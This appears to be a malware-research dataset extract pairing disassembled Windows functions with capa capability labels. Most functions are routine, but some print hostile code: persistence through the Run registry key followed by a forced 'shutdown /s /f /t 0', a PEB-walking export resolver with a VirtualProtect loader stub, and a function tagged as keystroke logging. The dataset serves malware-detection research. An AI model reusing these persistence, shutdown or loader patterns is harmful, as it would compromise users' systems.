joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14012e230
Capabilities:
Query or enumerate registry value
Read .ini file

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
cmp qword [rcx + 0xb0], 0
mov edi, r9d
mov rbx, r8
mov rax, rdx
je 0x14012e2aa
xor r8d, r8d
call fcn.14012e164
mov rsi, rax
test rax, rax
jne 0x14012e266
mov eax, edi
jmp 0x14012e2c0
lea rax, [rsp + 0x50]
lea r9, [rsp + 0x34]
xor r8d, r8d
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x30]
mov rdx, rbx
mov rcx, rsi
mov dword [rsp + 0x50], 4
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov rcx, rsi
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
cmove edi, dword [rsp + 0x30]
jmp 0x14012e262
mov r9, qword [rcx + 0xd8]
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
mov rbx, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret

Function at 0x14012ea0c
Capabilities:
Delete registry key

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
cmp qword [rcx], 0
mov rdi, r8
mov rsi, rdx
mov rbx, rcx
je 0x14012ea6f
lea rcx, str.Advapi32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14012ea83
lea rdx, str.RegDeleteKeyTransactedW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14012ea83
mov rcx, qword [rbx]
and qword [rsp + 0x28], 0
xor r9d, r9d
mov qword [rsp + 0x20], rcx
xor r8d, r8d
mov rdx, rdi
mov rcx, rsi
call rax
jmp 0x14012ea88
cmp dword [rcx + 8], 0
je 0x14012ea83
mov rdx, r8
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
jmp 0x14012ea88
mov eax, 1
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
Function at 0x1401307b4
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push rbp
push rsi
push rdi
push r12
push r13
sub rsp, 0x30
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, r8d
mov eax, edx
mov rsi, rcx
xor r13d, r13d
mov dword [rsp + 0x70], r13d
xor edx, edx
mov ecx, eax
call qword [sym.imp.USER32.dll_MapVirtualKeyW]
mov edi, eax
shl edi, 0x10
test ebx, ebx
je 0x1401307f5
bts edi, 0x18
call fcn.14011c934
mov r11, rax
mov ecx, r13d
test rax, rax
setne cl
test ecx, ecx
jne 0x140130815
mov ecx, 0x80004005
call fcn.14008ec20
int3
mov rax, qword [rax]
mov rcx, r11
call qword [rax + Ordinal_26]
add rax, 0x18
mov qword [rsp + 0x78], rax
mov ebp, 0x40
add ebp, ebp
mov edx, ebp
lea rcx, [rsp + 0x78]
call fcn.14011cee8
lea r8d, [rbp + 1]
mov rdx, rax
mov ecx, edi
call qword [sym.imp.USER32.dll_GetKeyNameTextW]
mov r12d, eax
mov rbx, qword [rsp + 0x78]
cmp eax, 0xffffffff
jne 0x140130862
movsxd rdx, dword [rbx - 0xc]
mov rcx, rbx
call fcn.14025de70
test eax, eax
js 0x1401308ab
cmp eax, dword [rbx - 0xc]
jg 0x1401308ab
mov dword [rbx - 0x10], eax
cdqe
mov word [rbx + rax*2], r13w
cmp r12d, ebp
je 0x14013082c
lea rcx, [rbx - 0x18]
call fcn.14008f1c0
add rax, 0x18
mov qword [rsi], rax
or eax, 0xffffffff
lock xadd dword [rbx - 8], eax
dec eax
test eax, eax
jg 0x1401308a6
mov rcx, qword [rbx - 0x18]
mov rax, qword [rcx]
lea rdx, [rbx - 0x18]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rax, rsi
jmp 0x1401308b6
mov ecx, 0x80070057
call fcn.14008ec20
nop
mov rbx, qword [rsp + 0x60]
add rsp, 0x30
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret

Function at 0x140133598
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
test byte [rdx + 4], 1
mov esi, r8d
mov rbx, rdx
mov rbp, rcx
je 0x1401335c1
mov rdi, qword [rdx + 0x10]
jmp 0x140133612
mov rdx, qword [rdx + 0x10]
mov rcx, qword [rbx + 8]
mov r8d, 5
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdi, rax
test rax, rax
jne 0x1401335e2
call fcn.1401293a4
mov rcx, qword [rbx + 8]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rdi, rax
test rax, rax
jne 0x1401335fc
call fcn.1401293a4
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdi, rax
test rax, rax
jne 0x140133612
call fcn.1401293a4
call fcn.14011eba0
cmp qword [rax + 0x68], 0
je 0x14013362c
mov rdx, rdi
mov rcx, rbp
call fcn.140131bdc
mov rdi, rax
mov edx, esi
mov rcx, rdi
call fcn.1401333d8
mov rcx, qword [rbp + 0xe8]
mov rsi, rax
test rcx, rcx
je 0x140133653
call qword [sym.imp.KERNEL32.dll_GlobalFree]
and qword [rbp + 0xe8], 0
test rsi, rsi
je 0x140133662
mov rdi, rsi
mov qword [rbp + 0xe8], rsi
or dword [rbx + 4], 1
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov qword [rbx + 0x10], rdi
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x14013b760
Capabilities:
Get common file path

Disassembly:
push rbx
sub rsp, 0x240
mov rax, qword [0x1403c6da0]
xor rax, rsp
mov qword [rsp + 0x230], rax
mov rbx, rcx
lea rcx, [rsp + 0x20]
mov edx, 0x105
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
jne 0x14013b796
xor eax, eax
jmp 0x14013b7e2
lea rcx, [rsp + 0x20]
call fcn.140266388
cmp word [rsp + rax*2 + 0x1e], 0x5c
je 0x14013b7c2
lea r8, [0x1402c84b0]
lea rcx, [rsp + 0x20]
mov edx, 0x105
call fcn.140266b88
test eax, eax
jne 0x14013b792
lea rcx, [rsp + 0x20]
mov r8, rbx
mov edx, 0x105
call fcn.140266b88
test eax, eax
jne 0x14013b792
lea rcx, [rsp + 0x20]
call fcn.1401220c4
mov rcx, qword [rsp + 0x230]
xor rcx, rsp
call fcn.14025db20
add rsp, 0x240
pop rbx
ret

Function at 0x140142f34
Capabilities:
Delete registry key

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, rcx
mov rcx, qword [rcx + 0x10]
mov rdi, rdx
test rcx, rcx
je 0x140142f5a
mov r8, rdx
mov rdx, qword [rbx]
call fcn.14012ea0c
jmp 0x140142fc1
cmp byte [0x1403e8430], 0
jne 0x140142f9e
lea rcx, str.Advapi32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140142f8e
lea rdx, str.RegDeleteKeyExW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1403e8428], rax
jmp 0x140142f95
mov rax, qword [0x1403e8428]
mov byte [0x1403e8430], 1
jmp 0x140142fa5
mov rax, qword [0x1403e8428]
mov rcx, qword [rbx]
mov rdx, rdi
test rax, rax
je 0x140142fbb
mov r8d, dword [rbx + 8]
xor r9d, r9d
call rax
jmp 0x140142fc1
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x140143310
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
mov rcx, qword [rdx]
mov rbx, rdx
cmp dword [rcx - 0x10], 0
je 0x140143342
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x140143342
lea rcx, [rdi + 0x120]
mov rdx, rbx
call fcn.1401615b8
mov eax, 1
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x1401aeb24
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x20
xor ebx, ebx
mov rdi, r8
mov rsi, rdx
mov r13, rcx
test r8, r8
jne 0x1401aeb55
call fcn.14011eba0
mov rdi, qword [rax + 0x18]
mov r8, qword [0x1403ead90]
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbp, rax
test rax, rax
jne 0x1401aeb74
xor eax, eax
jmp 0x1401aebc0
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rsi, rax
test rax, rax
je 0x1401aeb70
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r12, rax
test rax, rax
je 0x1401aebb5
mov rdx, rbp
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rdx, r12
mov rcx, r13
mov r8d, eax
call fcn.1401ae9e8
mov ebx, eax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, ebx
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r13
pop r12
pop rdi
ret
Function at 0x1401f3ccc
Capabilities:
Set registry value

Disassembly:
push rbx
sub rsp, 0x30
xor ebx, ebx
cmp dword [rcx + 0x28], ebx
je 0x1401f3cdd
xor eax, eax
jmp 0x1401f3d0b
mov rcx, qword [rcx + 8]
lea rax, [rsp + 0x40]
mov r9d, 4
mov dword [rsp + 0x40], r8d
mov dword [rsp + 0x28], r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
sete bl
mov eax, ebx
add rsp, 0x30
pop rbx
ret

Function at 0x1401f3ea0
Capabilities:
Set registry value

Disassembly:
push rbx
sub rsp, 0x30
xor ebx, ebx
cmp dword [rcx + 0x28], ebx
je 0x1401f3eb1
xor eax, eax
jmp 0x1401f3ed5
mov rcx, qword [rcx + 8]
mov dword [rsp + 0x28], r9d
mov qword [rsp + 0x20], r8
mov r9d, 3
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
sete bl
mov eax, ebx
add rsp, 0x30
pop rbx
ret

Function at 0x1401f3edc
Capabilities:
Query or enumerate registry value

Disassembly:
mov r11, rsp
sub rsp, 0x38
mov rcx, qword [rcx + 8]
lea rax, [r11 + 8]
lea r9, [r11 + 0x20]
mov qword [r11 - 0x10], rax
mov qword [r11 - 0x18], r8
xor r8d, r8d
mov dword [rsp + 0x40], 4
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
xor edx, edx
test eax, eax
jne 0x1401f3f1e
mov ecx, dword [rsp + 0x58]
sub ecx, 4
neg ecx
sbb eax, eax
and eax, 0xd
test eax, eax
sete dl
mov eax, edx
add rsp, 0x38
ret

Function at 0x1401f4030
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
mov rdi, r9
mov rbx, r8
mov rsi, rdx
mov rbp, rcx
test rdx, rdx
jne 0x1401f405b
call fcn.14011bd58
int3
test rbx, rbx
jne 0x1401f4066
call fcn.14011bd58
int3
test r9, r9
jne 0x1401f4071
call fcn.14011bd58
int3
and qword [r8], 0
and dword [r9], 0
mov rcx, qword [rcx + 8]
mov qword [rsp + 0x28], r9
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x48]
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1401f40f4
cmp dword [rsp + 0x48], 3
jne 0x1401f40f4
test eax, eax
jne 0x1401f40f4
cmp dword [rdi], eax
je 0x1401f40f4
mov ecx, dword [rdi]
call fcn.14011bbbc
lea r9, [rsp + 0x48]
xor r8d, r8d
mov qword [rbx], rax
mov rcx, qword [rbp + 8]
mov rdx, rsi
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1401f40e8
cmp dword [rsp + 0x48], 3
jne 0x1401f40e8
test eax, eax
jne 0x1401f40e8
mov eax, 1
jmp 0x1401f40f6
mov rcx, qword [rbx]
call fcn.14011bc00
and qword [rbx], 0
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret

Function at 0x1401f4200
Capabilities:
Delete registry value

Disassembly:
sub rsp, 0x28
mov rcx, qword [rcx + 8]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
xor ecx, ecx
test eax, eax
sete cl
mov eax, ecx
add rsp, 0x28
ret

Function at 0x14026692c
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.14026679c
Function at 0x14026bc6b
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x1403c6da0]
jne 0x14025db3a
rol rcx, 0x10
test cx, 0xffff
jne 0x14025db36
repz ret
ror rcx, 0x10
jmp 0x14026bbc4
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x1403eeba0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x1403eec98]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x14026bc49
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x1403eeba0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x14026bc6b
mov rax, qword [rsp + 0x88]
mov qword [0x1403eec98], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x1403eec38], rax
mov rax, qword [0x1403eec98]
mov qword [0x1403eeb10], rax
mov rax, qword [rsp + 0x90]
mov qword [0x1403eec20], rax
mov dword [0x1403eeb00], 0xc0000409
mov dword [0x1403eeb04], 1
mov rax, qword [0x1403c6da0]
mov qword [rsp + 0x68], rax
mov rax, qword [0x1403c6da8]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x1403eeb98], eax
mov ecx, 1
call fcn.14027c6b8
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x14032d790]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x1403eeb98], 0
jne 0x14026bcf2
mov ecx, 1
call fcn.14027c6b8
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x14027c470
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x1403c6da0]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.14026989c
xor ebx, ebx
cmp qword [0x1403ef3d0], rbx
mov rdi, rax
jne 0x14027c583
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x14027c65a
lea rdx, [0x14032e6f8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14027c65a
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, [0x14032e6e8]
mov rcx, rsi
mov qword [0x1403ef3d0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, [0x14032e6d0]
mov rcx, rsi
mov qword [0x1403ef3d8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, [0x14032e6b0]
mov rcx, rsi
mov qword [0x1403ef3e0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x1403ef3f0], rax
test rax, rax
je 0x14027c57a
lea rdx, [0x14032e698]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x1403ef3e8], rax
jmp 0x14027c58a
mov rax, qword [0x1403ef3e8]
jmp 0x14027c591
mov rax, qword [0x1403ef3e8]
mov r11, qword [0x1403ef3f0]
cmp rax, rdi
je 0x14027c5f8
cmp r11, rdi
je 0x14027c5f8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x1403ef3f0]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x14027c5f8
test rax, rax
je 0x14027c5f8
call rsi
test rax, rax
je 0x14027c5f2
lea rcx, [rsp + 0x30]
mov r9d, reloc.WSOCK32.dll_ioctlsocket
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x14027c5f2
test byte [rsp + 0x40], 1
jne 0x14027c5f8
bts ebp, 0x15
jmp 0x14027c638
mov rcx, qword [0x1403ef3d8]
cmp rcx, rdi
je 0x14027c638
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14027c638
call rax
mov rbx, rax
test rax, rax
je 0x14027c638
mov rcx, qword [0x1403ef3e0]
cmp rcx, rdi
je 0x14027c638
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14027c638
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x1403ef3d0]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14027c65a
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x14027c65c
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.14025db20
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140419000
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov r14, rdx
mov rbx, rcx
test rcx, rcx
je 0x14041905b
movsxd rax, dword [rcx + 0x3c]
xor ebp, ebp
mov esi, dword [rax + rcx + 0x88]
add rsi, rcx
mov edi, dword [rsi + 0x20]
add rdi, rcx
cmp dword [rsi + 0x18], ebp
jbe 0x14041905b
mov ecx, dword [rdi]
mov rdx, r14
add rcx, rbx
call fcn.1404190f0
test al, al
jne 0x140419078
inc ebp
add rdi, 4
cmp ebp, dword [rsi + 0x18]
jb 0x14041903f
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
mov eax, dword [rsi + 0x24]
mov ecx, dword [rsi + 0x1c]
add rax, rbx
add rcx, rbx
movzx edx, word [rax + rbp*2]
mov eax, dword [rcx + rdx*4]
add rax, rbx
jmp 0x14041905d

Function at 0x140419090
Capabilities:
Access peb ldr_data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rax, qword gs:[0x60]
mov rdi, rdx
mov esi, ecx
mov rbx, qword [rax + 0x18]
add rbx, 0x10
mov rbx, qword [rbx]
mov rax, qword [rbx + 0x60]
test rax, rax
je 0x1404190b5
test rdi, rdi
je 0x1404190c9
mov qword [rdi], rax
test esi, esi
je 0x1404190da
mov rcx, qword [rbx + 0x60]
call fcn.140419144
cmp esi, eax
jne 0x1404190b5
mov rax, qword [rbx + 0x30]
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x14041917c
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x20
xor ebp, ebp
lea rdx, [rsp + 0x48]
xor ecx, ecx
mov qword [rsp + 0x48], rbp
call fcn.140419090
mov ecx, dword [0x1403c25dc]
xor edx, edx
mov rsi, rax
call fcn.140419090
mov rbx, qword [str.0m__]
mov rdi, rax
cmp dword [rbx], ebp
je 0x1404191fc
mov r8, qword [rsp + 0x48]
mov edx, ebp
cmp word [r8], bp
je 0x1404191cf
inc edx
cmp word [r8 + rdx*2], bp
jne 0x1404191c6
cmp dl, byte [rbx]
je 0x1404191e1
cmp dl, byte [rbx + 1]
je 0x1404191e1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rcx, r8
call fcn.140419120
cmp eax, dword [rbx + 4]
je 0x1404191fc
cmp eax, dword [rbx + 8]
je 0x1404191fc
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov edx, dword [0x1403c25f0]
xor ecx, ecx
mov dword [rsp + 0x40], ebp
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, dword [0x1403c25a0]
mov r9d, ebp
test ecx, ecx
je 0x140419241
mov rcx, qword [str.VirtualProtect]
movsxd r8, r9d
mov edx, dword [rcx + r8]
mov dword [r8 + rax], edx
mov ecx, dword [reloc.WSOCK32.dll_connect]
add r9d, ecx
mov ecx, dword [0x1403c25a0]
cmp r9d, ecx
jb 0x14041921b
mov rdx, rax
mov rcx, rdi
call section.text
mov rdi, rax
test rax, rax
je 0x1404192f3
mov rbx, qword [0x1403c2598]
lea r9, [rsp + 0x40]
lea ecx, [rsp + 0x40]
mov edx, dword [0x1403c25c0]
mov rcx, rbx
mov r8d, dword [0x1403c25a0]
call rdi
mov r9, qword [0x1403c25e8]
mov r8d, 8
mov eax, dword [0x1403c25c0]
mov r9d, r9d
add r9, rsi
mov r10d, dword [r9 + 4]
cmp eax, r8d
jbe 0x1404192b9
movsxd rdx, r8d
mov ecx, dword [rdx + r9]
add ecx, r10d
mov dword [rdx + rbx], ecx
mov eax, dword [reloc.WSOCK32.dll_connect]
add r8d, eax
mov eax, dword [0x1403c25c0]
cmp r8d, eax
jb 0x140419298
mov eax, dword [0x1403c25a8]
lea r9, [rsp + 0x40]
mov dword [rbx + 8], eax
mov rcx, rbx
mov edx, dword [0x1403c25c0]
mov r8d, dword [rsp + 0x40]
call rdi
mov eax, dword [reloc.WSOCK32.dll_sendto]
mov r8d, dword [rbx + 0xc]
mov ecx, dword [reloc.WSOCK32.dll_sendto]
add r8, rax
add r8, rbx
add rcx, rbx
call r8
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x140419260
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x20
xor ebp, ebp
lea rdx, [rsp + 0x48]
xor ecx, ecx
mov qword [rsp + 0x48], rbp
call fcn.140419090
mov ecx, dword [0x1403c25dc]
xor edx, edx
mov rsi, rax
call fcn.140419090
mov rbx, qword [str.0m__]
mov rdi, rax
cmp dword [rbx], ebp
je 0x1404191fc
mov r8, qword [rsp + 0x48]
mov edx, ebp
cmp word [r8], bp
je 0x1404191cf
inc edx
cmp word [r8 + rdx*2], bp
jne 0x1404191c6
cmp dl, byte [rbx]
je 0x1404191e1
cmp dl, byte [rbx + 1]
je 0x1404191e1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rcx, r8
call fcn.140419120
cmp eax, dword [rbx + 4]
je 0x1404191fc
cmp eax, dword [rbx + 8]
je 0x1404191fc
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov edx, dword [0x1403c25f0]
xor ecx, ecx
mov dword [rsp + 0x40], ebp
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, dword [0x1403c25a0]
mov r9d, ebp
test ecx, ecx
je 0x140419241
mov rcx, qword [str.VirtualProtect]
movsxd r8, r9d
mov edx, dword [rcx + r8]
mov dword [r8 + rax], edx
mov ecx, dword [reloc.WSOCK32.dll_connect]
add r9d, ecx
mov ecx, dword [0x1403c25a0]
cmp r9d, ecx
jb 0x14041921b
mov rdx, rax
mov rcx, rdi
call section.text
mov rdi, rax
test rax, rax
je 0x1404192f3
mov rbx, qword [0x1403c2598]
lea r9, [rsp + 0x40]
lea ecx, [rsp + 0x40]
mov edx, dword [0x1403c25c0]
mov rcx, rbx
mov r8d, dword [0x1403c25a0]
call rdi
mov r9, qword [0x1403c25e8]
mov r8d, 8
mov eax, dword [0x1403c25c0]
mov r9d, r9d
add r9, rsi
mov r10d, dword [r9 + 4]
cmp eax, r8d
jbe 0x1404192b9
movsxd rdx, r8d
mov ecx, dword [rdx + r9]
add ecx, r10d
mov dword [rdx + rbx], ecx
mov eax, dword [reloc.WSOCK32.dll_connect]
add r8d, eax
mov eax, dword [0x1403c25c0]
cmp r8d, eax
jb 0x140419298
mov eax, dword [0x1403c25a8]
lea r9, [rsp + 0x40]
mov dword [rbx + 8], eax
mov rcx, rbx
mov edx, dword [0x1403c25c0]
mov r8d, dword [rsp + 0x40]
call rdi
mov eax, dword [reloc.WSOCK32.dll_sendto]
mov r8d, dword [rbx + 0xc]
mov ecx, dword [reloc.WSOCK32.dll_sendto]
add r8, rax
add r8, rbx
add rcx, rbx
call r8
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x140001000
Capabilities:
Execute command
Persist via run registry key
Set registry value

Disassembly:
push rbx
sub rsp, 0x280
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x270], rax
mov r8d, 0x104
lea rdx, [rsp + 0x60]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ebx, eax
test eax, eax
je 0x1400010b3
xor ecx, ecx
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], rcx
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov qword [rsp + 0x38], rax
xor r9d, r9d
mov qword [rsp + 0x30], rcx
xor r8d, r8d
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], ecx
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x1400010b3
mov rcx, qword [rsp + 0x50]
lea eax, [rbx*2 + 2]
mov dword [rsp + 0x28], eax
lea rdx, str.My_program
lea rax, [rsp + 0x60]
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x50]
test eax, eax
je 0x1400010d1
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.140001100
add rsp, 0x280
pop rbx
ret
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, str.shutdown__s__f__t_0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
jmp 0x1400010b8

Function at 0x1400019c8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001a12
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001a12
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001a12
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001a12
cmp dword [rcx + 0x84], 0xe
jbe 0x140001a12
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001a14
xor al, al
add rsp, 0x28
ret